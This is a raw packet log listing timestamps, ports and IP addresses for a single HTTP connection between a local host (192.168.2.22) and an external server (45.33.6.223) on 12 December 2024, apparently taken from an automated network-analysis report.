Dec 12, 2024 10:20:22.765343904 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.765408993 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.769558907 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.769570112 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.769623041 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.773786068 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.773885965 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.774178982 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.778165102 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.778208017 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.778261900 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.778573990 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.852708101 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.853008986 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.853182077 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.853182077 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.854008913 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.854263067 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.854403973 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.854403973 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.856880903 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.856960058 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.857142925 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.857496023 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.859839916 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.859905005 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.859961033 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.860012054 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.862721920 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.862778902 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.862849951 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.862946987 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.865565062 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.865717888 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.865753889 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.865873098 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.868364096 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.868438005 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.868546009 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.868597031 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.871128082 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.871191025 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.871254921 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.871308088 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.873903036 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.873967886 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.874028921 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.874063969 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.877178907 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.877193928 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.877238989 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.877259016 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.879365921 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.879378080 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.879409075 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.882205009 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.882216930 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.882262945 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.882262945 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.884850979 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.884862900 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.884897947 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.884897947 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.887365103 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.887377024 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.887414932 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.893481016 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.893492937 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.893502951 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.893532038 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.893874884 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.893906116 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.893906116 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.894963980 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.894975901 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.894998074 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.895015955 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.896934986 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.896971941 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.897059917 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.897093058 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.903136969 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.903151989 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.903162956 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.903176069 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.903198957 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.903198957 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.903198957 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.903223038 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.904189110 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.904226065 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.904375076 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.904426098 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.905790091 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.905838013 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.905873060 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.905920029 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.907346010 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.907402039 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.907494068 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.907542944 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.909223080 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.909235001 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.909276962 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.910507917 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.910562992 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.910698891 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.910742044 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.912081957 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.912130117 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.912281036 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.912338972 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.913271904 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.913328886 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.913552046 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.913592100 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.972562075 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.972574949 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.972758055 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.973735094 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.973788977 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.973830938 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.973876953 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.976516962 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.976571083 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.976763964 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.976814032 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.979152918 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.979166985 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.979204893 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.982042074 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.982089043 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.982151985 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.982206106 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.985218048 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.985263109 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.985404968 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.985455036 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.987714052 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.987756968 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.987792015 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.987842083 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.990467072 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.990521908 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.990576982 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.990623951 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.994448900 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.994462013 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.994503975 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.997396946 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.997409105 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.997437000 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.997466087 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:22.999355078 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.999366999 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:22.999407053 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.001661062 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.001672983 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.001712084 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.004179001 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.004225969 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.004297018 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.004340887 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.006637096 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.006688118 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.006745100 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.006788015 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.013056040 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.013071060 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.013099909 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.013127089 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.013591051 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.013644934 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.013838053 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.013899088 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.015192986 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.015239000 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.015307903 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.015348911 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.016796112 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.016844988 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.016915083 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.016957998 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.022703886 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.022720098 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.022758961 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.022785902 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.023360968 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.023405075 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.023504019 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.023540974 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.025028944 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.025042057 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.025079012 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.026510954 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.026555061 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.027250051 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.027292013 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.028086901 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.028125048 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.028259993 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.028301954 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.029654026 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.029700994 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.029800892 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.029840946 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.031306028 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.031361103 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.031505108 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.031539917 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.032856941 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.032902002 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.044877052 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.044894934 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.044936895 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.045299053 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.045345068 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.045387030 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.045433044 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.046260118 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.046272039 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.046307087 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.092426062 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.092442036 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.092524052 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.093372107 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.093427896 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.093537092 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.093537092 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.095978975 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.096033096 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.098467112 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.098529100 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.098541975 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.098587036 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.101370096 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.101381063 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.101430893 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.104830027 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.104842901 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.104878902 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.107287884 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.107300043 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.107345104 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.109736919 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.109783888 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.109791994 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.109833956 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.113714933 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.113768101 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.113770962 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.113817930 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.114528894 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.114573002 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.114701986 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.114743948 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.116036892 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.116081953 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.116144896 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.116188049 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.117564917 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.117609024 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.117666960 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.117707014 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.119096041 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.119138956 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.119184971 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.119227886 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.120579958 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.120623112 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.120691061 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.120733023 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.122081041 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.122109890 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.122144938 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.122144938 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.122241020 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.122277975 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.123630047 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.123686075 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.123742104 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.123785019 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.125185013 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.125227928 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.125557899 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.125601053 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.126669884 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.126713037 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.126785994 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.126828909 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.128216982 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.128243923 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.128273964 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.128274918 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.131190062 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.131201982 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.131239891 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.131347895 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.131402016 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.132193089 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.132237911 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.133296013 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.133306026 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.133339882 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.134397030 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.134407043 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.134439945 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.136117935 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.136128902 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.136163950 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.138000011 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.138010979 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.138041019 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.138853073 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.138896942 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.138948917 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.138999939 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.140400887 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.140443087 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.140455008 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.140496969 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.141876936 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.141921997 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.141995907 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.142036915 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.143384933 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.143470049 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.143532038 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.143578053 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.144895077 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.144949913 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.145065069 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.145113945 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.146452904 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.146506071 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.146584988 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.146635056 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.148036003 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.148113012 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.148164034 CET	80	49166	45.33.6.223	192.168.2.22
